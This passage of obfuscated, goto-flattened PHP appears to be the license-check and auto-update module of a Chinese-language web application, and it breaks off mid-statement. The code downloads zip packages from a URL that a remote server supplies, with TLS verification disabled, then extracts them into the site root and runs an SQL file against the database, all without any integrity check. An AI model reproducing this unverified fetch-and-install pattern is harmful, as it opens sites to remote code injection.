K4pldMhxc2;K4peWjgxc2:unset($K4ptIA5);$K4ptIA5=0;$i=$K4ptIA5;K4pxc3:if(1)goto K4peWjgxcc;goto K4pldMhxcc;K4peWjgxcc:$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Auth/';$K4pvPA7=$K4pvPA6 . $queueMethod;unset($K4ptIA8);$K4ptIA8=$this->curl_request($K4pvPA7,$data,self::METHOD,self::HTTP);unset($K4ptIA5);$K4ptIA5=$K4ptIA8;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxce;goto K4pldMhxce;K4peWjgxce:goto K4peWjgxc6;goto K4pxcd;K4pldMhxce:K4pxcd:goto K4pldMhxc6;K4peWjgxc6:$K4pA5=!empty($result['data']['queue']);if($K4pA5)goto K4peWjgxcg;goto K4pldMhxcg;K4peWjgxcg:goto K4peWjgxc8;goto K4pxcf;K4pldMhxcg:K4pxcf:goto K4pldMhxc8;K4peWjgxc8:$K4poB5=$i;$K4poB6=$i+1;unset($K4ptIA5);$K4ptIA5=$K4poB6;$i=$K4ptIA5;$K4pA5=$i>self::QUEUE_TIME;if($K4pA5)goto K4peWjgxci;goto K4pldMhxci;K4peWjgxci:goto K4peWjgxca;goto K4pxch;K4pldMhxci:K4pxch:goto K4pldMhxca;K4peWjgxca:return false;goto K4pxc9;K4pldMhxca:K4pxc9:goto K4pxc7;K4pldMhxc8:return $result;K4pxc7:goto K4pxc5;K4pldMhxc6:return false;K4pxc5:$K4pzA1=array();$K4pzA1[]=1;$K4peF0=call_user_func_array("sleep",$K4pzA1);goto K4pxc3;goto K4pxcb;K4pldMhxcc:K4pxcb:K4pxc4:goto K4pxc1;K4pldMhxc2:return $result;K4pxc1:goto K4pxby;K4pldMhxcz:K4pxby:return false;}public static function publicDecrypt($encrypted=''){$K4pzA1=array();$K4pzA1[]=&$encrypted;$K4peF0=call_user_func_array("is_string",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxck;goto K4pldMhxck;K4peWjgxck:return null;goto K4pxcj;K4pldMhxck:K4pxcj:$K4pzA1=array();$K4pzA1[]=&$encrypted;$K4peFvP0=call_user_func_array("base64_decode",$K4pzA1);if(openssl_public_decrypt($K4peFvP0,$decrypted,self::getPublicKey()))goto K4peWjgxcm;goto K4pldMhxcm;K4peWjgxcm:$K4pA5=$decrypted;goto K4pxcl;K4pldMhxcm:$K4pA5=null;K4pxcl:return $K4pA5;}private function getPublicKey(){unset($K4ptIA5);$K4ptIA5=self::$PUBLIC_KEY;$publicKey=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$publicKey;$K4peF0=call_user_func_array("openssl_pkey_get_public",$K4pzA1);return $K4peF0;}private static function curl_request($url,$data=[],$type='post',$https=false){$K4pzA1=array();$K4peF0=call_user_func_array("curl_init",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$ch=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_HTTP_VERSION;$K4pzA1[]=CURL_HTTP_VERSION_1_1;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_USERAGENT;$K4pzA1[]='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)';$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_CONNECTTIMEOUT;$K4pzA1[]=30;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_TIMEOUT;$K4pzA1[]=30;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_RETURNTRANSFER;$K4pzA1[]=true;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);if($https)goto K4peWjgxco;goto K4pldMhxco;K4peWjgxco:$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_SSL_VERIFYPEER;$K4pzA1[]=false;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_SSL_VERIFYHOST;$K4pzA1[]=false;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);goto K4pxcn;K4pldMhxco:K4pxcn:$K4pzA1=array();$K4pzA1[]=&$type;$K4peF0=call_user_func_array("strtolower",$K4pzA1);$K4pA5=$K4peF0=='post';if($K4pA5)goto K4peWjgxcq;goto K4pldMhxcq;K4peWjgxcq:$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_POST;$K4pzA1[]=true;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_POSTFIELDS;$K4pzA1[]=&$data;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);goto K4pxcp;K4pldMhxcq:$K4pA5=!empty($data);$K4pA6=(bool)$K4pA5;if($K4pA6)goto K4peWjgxcs;goto K4pldMhxcs;K4peWjgxcs:$K4pzA2=array();$K4pzA2[]=&$data;$K4peF1=call_user_func_array("is_array",$K4pzA2);$K4pA6=(bool)$K4peF1;goto K4pxcr;K4pldMhxcs:K4pxcr:if($K4pA6)goto K4peWjgxct;goto K4pldMhxct;K4peWjgxct:$K4pA5=$url . '?';$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("http_build_query",$K4pzA1);$K4pA6=$K4pA5 . $K4peF0;unset($K4ptIA7);$K4ptIA7=$K4pA6;$url=$K4ptIA7;goto K4pxcp;K4pldMhxct:K4pxcp:$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_URL;$K4pzA1[]=&$url;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4peF0=call_user_func_array("curl_exec",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pA5=$result===false;if($K4pA5)goto K4peWjgxcv;goto K4pldMhxcv;K4peWjgxcv:return false;goto K4pxcu;K4pldMhxcv:K4pxcu:$K4pzA1=array();$K4pzA1[]=&$ch;$K4peF0=call_user_func_array("curl_close",$K4pzA1);return $result;}}$K4pzA1=array();$K4pzA1[]=__FILE__;$K4peFvP0=call_user_func_array("dirname",$K4pzA1);$K4pvPA5=$K4peFvP0 . '/';$K4pzA3=array();$K4pzA3[]='SF_ROOT';$K4pzA3[]=&$K4pvPA5;$K4peF2=call_user_func_array("define",$K4pzA3);$K4pA5=SF_ROOT . 'AuthInfo.php';$K4pA6=include $K4pA5;$K4pA5=new Authorization();unset($K4ptIA6);$K4ptIA6=$K4pA5;$authorization=$K4ptIA6;$K4pA5=$islogin==1;if($K4pA5)goto K4peWjgx2g;goto K4pldMhx2g;K4peWjgx2g:$K4pA5=!empty($_SESSION['SF_CheckAuthResult']);if($K4pA5)goto K4peWjgx2i;goto K4pldMhx2i;K4peWjgx2i:unset($K4ptIA5);$K4ptIA5=$_SESSION['SF_CheckAuthResult'];$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgx2k;goto K4pldMhx2k;K4peWjgx2k:unset($K4ptIA5);$K4ptIA5=Authorization::publicDecrypt($result['data']['time']);$time=$K4ptIA5;$K4pA5=$time+Authorization::TIME;$K4pzA1=array();$K4peF0=call_user_func_array("time",$K4pzA1);$K4pA6=$K4pA5>$K4peF0;if($K4pA6)goto K4peWjgx2m;goto K4pldMhx2m;K4peWjgx2m:$K4pA5=$result['code']!=0;if($K4pA5)goto K4peWjgx2o;goto K4pldMhx2o;K4peWjgx2o:Authorization::Message($result['msg']);goto K4px2n;K4pldMhx2o:K4px2n:goto K4px2l;K4pldMhx2m:unset($_SESSION['SF_CheckAuthResult']);K4px2l:goto K4px2j;K4pldMhx2k:unset($_SESSION['SF_CheckAuthResult']);Authorization::Message('链接服务器失败');K4px2j:goto K4px2h;K4pldMhx2i:$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$authorization;$K4pzA2[]="checkInfo";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$result=$K4ptIA5;$K4pA5=!$result;if($K4pA5)goto K4peWjgx2q;goto K4pldMhx2q;K4peWjgx2q:Authorization::Message('链接服务器失败');goto K4px2p;K4pldMhx2q:$K4pA5=$result['data']['code']==0;if($K4pA5)goto K4peWjgx2s;goto K4pldMhx2s;K4peWjgx2s:unset($K4ptIA5);$K4ptIA5=$result;$_SESSION['SF_CheckAuthResult']=$K4ptIA5;goto K4px2r;K4pldMhx2s:$K4pA5=$result['data']['code']==1;if($K4pA5)goto K4peWjgx2t;goto K4pldMhx2t;K4peWjgx2t:goto K4px2r;K4pldMhx2t:Authorization::Message($result['msg']);K4px2r:K4px2p:K4px2h:goto K4px2f;K4pldMhx2g:K4px2f:if(isset($_POST['SF_Action']))goto K4peWjgx2v;goto K4pldMhx2v;K4peWjgx2v:$K4pA5=$_POST['SF_Action'];goto K4px2u;K4pldMhx2v:$K4pA5=null;K4px2u:unset($K4ptIA6);$K4ptIA6=$K4pA5;$SF_Action=$K4ptIA6;$K4pA5=!empty($SF_Action);if($K4pA5)goto K4peWjgx2x;goto K4pldMhx2x;K4peWjgx2x:$K4pzA1=array();$K4pzA1[]='update';$K4pzA2=array();$K4pzA2[]=$authorization;$K4pzA2[]="checkInfo";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$result=$K4ptIA5;$K4plFkgHhx2y=$SF_Action;$K4pA5=$K4plFkgHhx2y=='check';if($K4pA5)goto K4peWjgx6i;goto K4pldMhx6i;K4peWjgx6i:goto K4pcgFhx3z;goto K4px6h;K4pldMhx6i:K4px6h:$K4pA5=$K4plFkgHhx2y=='update';if($K4pA5)goto K4peWjgx6g;goto K4pldMhx6g;K4peWjgx6g:goto K4pcgFhx33;goto K4px6f;K4pldMhx6g:K4px6f:goto K4px2y;K4pcgFhx3z:$K4pA5=!$result;if($K4pA5)goto K4peWjgx32;goto K4pldMhx32;K4peWjgx32:$K4pzA0=array();$K4pzA0['code']=-1;$K4pzA0['msg']='啊哦,更新服务器开小差了,请刷新此页面。';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px31;K4pldMhx32:$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);K4px31:K4pcgFhx33:$K4pA5=!empty($_POST['dirname']);if($K4pA5)goto K4peWjgx35;goto K4pldMhx35;K4peWjgx35:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_POST;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx38;goto K4pldMhx38;K4peWjgx38:$K4pcV1=&$_POST['dirname'];goto K4px37;K4pldMhx38:$K4pcV1=$_POST['dirname'];K4px37:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("is_dir",$K4pzA2);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgx39;goto K4pldMhx39;K4peWjgx39:$K4pzA0=array();$K4pzA0['code']=2;$K4pzA0['msg']='不存在此目录,请输入正确的后台目录!';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px36;K4pldMhx39:K4px36:unset($K4ptIA5);$K4ptIA5=$_POST['dirname'];$_SESSION['dirname']=$K4ptIA5;goto K4px34;K4pldMhx35:K4px34:$K4pvPA5=ROOT . 'admin';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA6=!$K4peF0;$K4pA7=(bool)$K4pA6;if($K4pA7)goto K4peWjgx3c;goto K4pldMhx3c;K4peWjgx3c:$K4pA7=(bool)empty($_SESSION['dirname']);goto K4px3b;K4pldMhx3c:K4px3b:if($K4pA7)goto K4peWjgx3d;goto K4pldMhx3d;K4peWjgx3d:$K4pzA0=array();$K4pzA0['code']=2;$K4pzA0['msg']='系统检测到您已更改过后台目录名,请填写您现在的后台目录名,以便更新覆盖!';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px3a;K4pldMhx3d:K4px3a:unset($K4ptIA5);$K4ptIA5=$result['data']['data']['url'];$downloadUrl=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='SF.zip';$ZipFile=$K4ptIA5;unset($K4pEc2);$K4pEc2=array();foreach($result['data']['data']['download'] as $res){$K4pEc2[]=$res;};$K4p2i=0;K4px4e:$K4pzA1=array();$K4pzA1[]=&$K4pEc2;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p2i<$K4peF0;if($K4pA5)goto K4peWjgx5f;goto K4pldMhx5f;K4peWjgx5f:$K4p2Key=array_keys($K4pEc2);$K4p2Key=$K4p2Key[$K4p2i];unset($K4ptIA5);$K4ptIA5=$K4pEc2[$K4p2Key];$res=$K4ptIA5;$K4pvPA5=$downloadUrl . $res;$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("copy",$K4pzA1);$K4pA6=!$K4peF0;if($K4pA6)goto K4peWjgx5h;goto K4pldMhx5h;K4peWjgx5h:goto K4peWjgx4i;goto K4px5g;K4pldMhx5h:K4px5g:goto K4pldMhx4i;K4peWjgx4i:goto K4peWjgx3f;goto K4px4h;K4pldMhx4i:K4px4h:goto K4pldMhx3f;K4peWjgx3f:$K4pzA0=array();$K4pzA0['code']=-1;$K4pzA0['msg']='无法下载更新包文件!';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px3e;K4pldMhx3f:K4px3e:unset($K4ptIA5);$K4ptIA5='';$addstr=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4pzA1[]=ROOT;$K4peF0=call_user_func_array("zipExtract",$K4pzA1);if($K4peF0)goto K4peWjgx5j;goto K4pldMhx5j;K4peWjgx5j:goto K4peWjgx4k;goto K4px5i;K4pldMhx5j:K4px5i:goto K4pldMhx4k;K4peWjgx4k:goto K4peWjgx3h;goto K4px4j;K4pldMhx4k:K4px4j:goto K4pldMhx3h;K4peWjgx3h:if(function_exists("opcache_reset"))goto K4peWjgx5l;goto K4pldMhx5l;K4peWjgx5l:goto K4peWjgx4m;goto K4px5k;K4pldMhx5l:K4px5k:goto K4pldMhx4m;K4peWjgx4m:goto K4peWjgx3j;goto K4px4l;K4pldMhx4m:K4px4l:goto K4pldMhx3j;K4peWjgx3j:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4peF0=call_user_func_array("opcache_reset",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx5n;goto K4pldMhx5n;K4peWjgx5n:goto K4peWjgx4o;goto K4px5m;K4pldMhx5n:K4px5m:goto K4pldMhx4o;K4peWjgx4o:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px4n;K4pldMhx4o:$K4pcV1=$GLOBALS["Ox8117"];K4px4n:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);goto K4px3i;K4pldMhx3j:K4px3i:$K4pA5=ROOT . 'update.sql';unset($K4ptIA6);$K4ptIA6=$K4pA5;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$sqlFile=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=0;$t=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=0;$e=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='';$error=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$sqlFile;$K4peF0=call_user_func_array("is_file",$K4pzA1);if($K4peF0)goto K4peWjgx5p;goto K4pldMhx5p;K4peWjgx5p:goto K4peWjgx4q;goto K4px5o;K4pldMhx5p:K4px5o:goto K4pldMhx4q;K4peWjgx4q:goto K4peWjgx3l;goto K4px4p;K4pldMhx4q:K4px4p:goto K4pldMhx3l;K4peWjgx3l:$K4pzA1=array();$K4pzA1[]=&$sqlFile;$K4peF0=call_user_func_array("file_get_contents",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$sql=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=';';$K4pzA1[]=&$sql;$K4peF0=call_user_func_array("explode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$sql=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=0;$i=$K4ptIA5;K4px3m:$K4pzA1=array();$K4pzA1[]=&$sql;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$i<$K4peF0;if($K4pA5)goto K4peWjgx5r;goto K4pldMhx5r;K4peWjgx5r:goto K4peWjgx4s;goto K4px5q;K4pldMhx5r:K4px5q:goto K4pldMhx4s;K4peWjgx4s:goto K4peWjgx3y;goto K4px4r;K4pldMhx4s:K4px4r:goto K4pldMhx3y;K4peWjgx3y:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$sql;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx5t;goto K4pldMhx5t;K4peWjgx5t:goto K4peWjgx4u;goto K4px5s;K4pldMhx5t:K4px5s:goto K4pldMhx4u;K4peWjgx4u:goto K4peWjgx41;goto K4px4t;K4pldMhx4u:K4px4t:goto K4pldMhx41;K4peWjgx41:goto K4peWjgx3r;goto K4px4z;K4pldMhx41:K4px4z:goto K4pldMhx3r;K4peWjgx3r:$K4pcV1=&$sql[$i];goto K4px3q;K4pldMhx3r:$K4pcV1=$sql[$i];K4px3q:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("trim",$K4pzA2);$K4pA5=$K4peF0=='';if($K4pA5)goto K4peWjgx5v;goto K4pldMhx5v;K4peWjgx5v:goto K4peWjgx4w;goto K4px5u;K4pldMhx5v:K4px5u:goto K4pldMhx4w;K4peWjgx4w:goto K4peWjgx43;goto K4px4v;K4pldMhx4w:K4px4v:goto K4pldMhx43;K4peWjgx43:goto K4peWjgx3s;goto K4px42;K4pldMhx43:K4px42:goto K4pldMhx3s;K4peWjgx3s:goto K4px3n;goto K4px3p;K4pldMhx3s:K4px3p:unset($K4pcV1);$K4pzA5=array();$K4pzA5[]=&$sql;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx5x;goto K4pldMhx5x;K4peWjgx5x:goto K4peWjgx4y;goto K4px5w;K4pldMhx5x:K4px5w:goto K4pldMhx4y;K4peWjgx4y:goto K4peWjgx45;goto K4px4x;K4pldMhx4y:K4px4x:goto K4pldMhx45;K4peWjgx45:goto K4peWjgx3v;goto K4px44;K4pldMhx45:K4px44:goto K4pldMhx3v;K4peWjgx3v:$K4pcV1=&$sql[$i];goto K4px3u;K4pldMhx3v:$K4pcV1=$sql[$i];K4px3u:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4pzA3=array();$K4pzA3[]=$DB;$K4pzA3[]="exec";$K4phC0=call_user_func_array($K4pzA3,$K4pzA2);$K4pA5=$K4phC0!==false;if($K4pA5)goto K4peWjgx6z;goto K4pldMhx6z;K4peWjgx6z:goto K4peWjgx51;goto K4px5y;K4pldMhx6z:K4px5y:goto K4pldMhx51;K4peWjgx51:goto K4peWjgx47;goto K4px5z;K4pldMhx51:K4px5z:goto K4pldMhx47;K4peWjgx47:goto K4peWjgx3w;goto K4px46;K4pldMhx47:K4px46:goto K4pldMhx3w;K4peWjgx3w:$K4poB3=$t+1;unset($K4ptIA5);$K4ptIA5=$K4poB3;$t=$K4ptIA5;$K4poB2=$t;goto K4px3t;K4pldMhx3w:$K4poB4=$e+1;unset($K4ptIA5);$K4ptIA5=$K4poB4;$e=$K4ptIA5;$K4poB3=$e;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$DB;$K4pzA2[]="error";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);$K4pA5=$K4phC0 . '';$K4pA5=$error . $K4pA5;unset($K4ptIA6);$K4ptIA6=$K4pA5;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$error=$K4ptIA5;$K4pnWA6=$error;K4px3t:K4px3n:$K4poB4=$i;$K4poB5=$i+1;unset($K4ptIA5);$K4ptIA5=$K4poB5;$i=$K4ptIA5;goto K4px3m;goto K4px3x;K4pldMhx3y:K4px3x:K4px3o:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$sqlFile;$K4peF0=call_user_func_array("unlink",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx62;goto K4pldMhx62;K4peWjgx62:goto K4peWjgx53;goto K4px61;K4pldMhx62:K4px61:goto K4pldMhx53;K4peWjgx53:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px52;K4pldMhx53:$K4pcV1=$GLOBALS["Ox8117"];K4px52:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);$K4pA5='数据库更新成功。SQL成功' . $t;$K4pA6=$K4pA5 . '句/失败';$K4pA7=$K4pA6 . $e;$K4pA8=$K4pA7 . '句';unset($K4ptIA9);$K4ptIA9=$K4pA8;unset($K4ptIA5);$K4ptIA5=$K4ptIA9;$addstr=$K4ptIA5;goto K4px3k;K4pldMhx3l:K4px3k:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("unlink",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx64;goto K4pldMhx64;K4peWjgx64:goto K4peWjgx55;goto K4px63;K4pldMhx64:K4px63:goto K4pldMhx55;K4peWjgx55:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px54;K4pldMhx55:$K4pcV1=$GLOBALS["Ox8117"];K4px54:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);$K4pvPA5='更新包解压成功' . $addstr;$K4pzA0=array();$K4pzA0['code']=0;$K4pzA0['msg']=$K4pvPA5;unset($K4ptIA6);$K4ptIA6=$K4pzA0;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$data=$K4ptIA5;$K4pvPA5=ROOT . 'admin';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA7=(bool)$K4peF0;if($K4pA7)goto K4peWjgx66;goto K4pldMhx66;K4peWjgx66:goto K4peWjgx57;goto K4px65;K4pldMhx66:K4px65:goto K4pldMhx57;K4peWjgx57:goto K4peWjgx4a;goto K4px56;K4pldMhx57:K4px56:goto K4pldMhx4a;K4peWjgx4a:$K4pA6=!empty($_SESSION['dirname']);$K4pA7=(bool)$K4pA6;goto K4px49;K4pldMhx4a:K4px49:if($K4pA7)goto K4peWjgx68;goto K4pldMhx68;K4peWjgx68:goto K4peWjgx59;goto K4px67;K4pldMhx68:K4px67:goto K4pldMhx59;K4peWjgx59:goto K4peWjgx4b;goto K4px58;K4pldMhx59:K4px58:goto K4pldMhx4b;K4peWjgx4b:$K4pvPA5=ROOT . 'admin';$K4pvPA6=ROOT . $_SESSION['dirname'];$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4pzA1[]=&$K4pvPA6;$K4peF0=call_user_func_array("copydirs",$K4pzA1);$K4pvPA5=ROOT . 'admin';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("rmdirs",$K4pzA1);goto K4px48;K4pldMhx4b:K4px48:$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px3g;K4pldMhx3h:$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("file_exists",$K4pzA1);if($K4peF0)goto K4peWjgx6a;goto K4pldMhx6a;K4peWjgx6a:goto K4peWjgx5b;goto K4px69;K4pldMhx6a:K4px69:goto K4pldMhx5b;K4peWjgx5b:goto K4peWjgx4d;goto K4px5a;K4pldMhx5b:K4px5a:goto K4pldMhx4d;K4peWjgx4d:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("unlink",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx6c;goto K4pldMhx6c;K4peWjgx6c:goto K4peWjgx5d;goto K4px6b;K4pldMhx6c:K4px6b:goto K4pldMhx5d;K4peWjgx5d:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px5c;K4pldMhx5d:$K4pcV1=$GLOBALS["Ox8117"];K4px5c:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);goto K4px4c;K4pldMhx4d:K4px4c:$K4pzA0=array();$K4pzA0['code']=-1;$K4pzA0['msg']='解压更新包失败,请稍后重试';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);K4px3g:K4px4f:$K4p2i=$K4p2i+1;goto K4px4e;goto K4px5e;K4pldMhx5f:K4px5e:K4px4g:$K4pzA0=array();$K4pzA0['code']=1;$K4pzA0['msg']='已更新至最新版本';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pA5=!empty($_SESSION['dirname']);if($K4pA5)goto K4peWjgx6e;goto K4pldMhx6e;K4peWjgx6e:unset($_SESSION['dirname']);goto K4px6d;K4pldMhx6e:K4px6d:$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);K4px2y:goto K4px2w;K4pldMhx2x:$K4pA5=$conf['lt_version']<DB_VERSION;if($K4pA5)goto K4peWjgx6k;goto K4pldMhx6k;K4peWjgx6k:$K4pA5=!$install;if($K4pA5)goto K4peWjgx6m;goto K4pldMhx6m;K4peWjgx6m:$K4pzA1=array();$K4pzA1[]='请先完成网站升级!<a href="/install/update.php"><font color=red>点此升级</font></a>';$K4peF0=call_user_func_array("sysmsg",$K4pzA1);exit();goto K4px6l;K4pldMhx6m:K4px6l:goto K4px6j;K4pldMhx6k:K4px6j:K4px2w:$K4pA5=$_GET['getNotice']=='1';if($K4pA5)goto K4peWjgx6o;goto K4pldMhx6o;K4peWjgx6o:$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$authorization;$K4pzA2[]="getNotice";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$result=$K4ptIA5;$K4pA5=!$result;if($K4pA5)goto K4peWjgx6q;goto K4pldMhx6q;K4peWjgx6q:$K4pzAvP0=array();$K4pzAvP0['code']=-1;$K4pzA2=array();$K4pzA2[]=&$K4pzAvP0;$K4peF1=call_user_func_array("json_encode",$K4pzA2);exit($K4peF1);goto 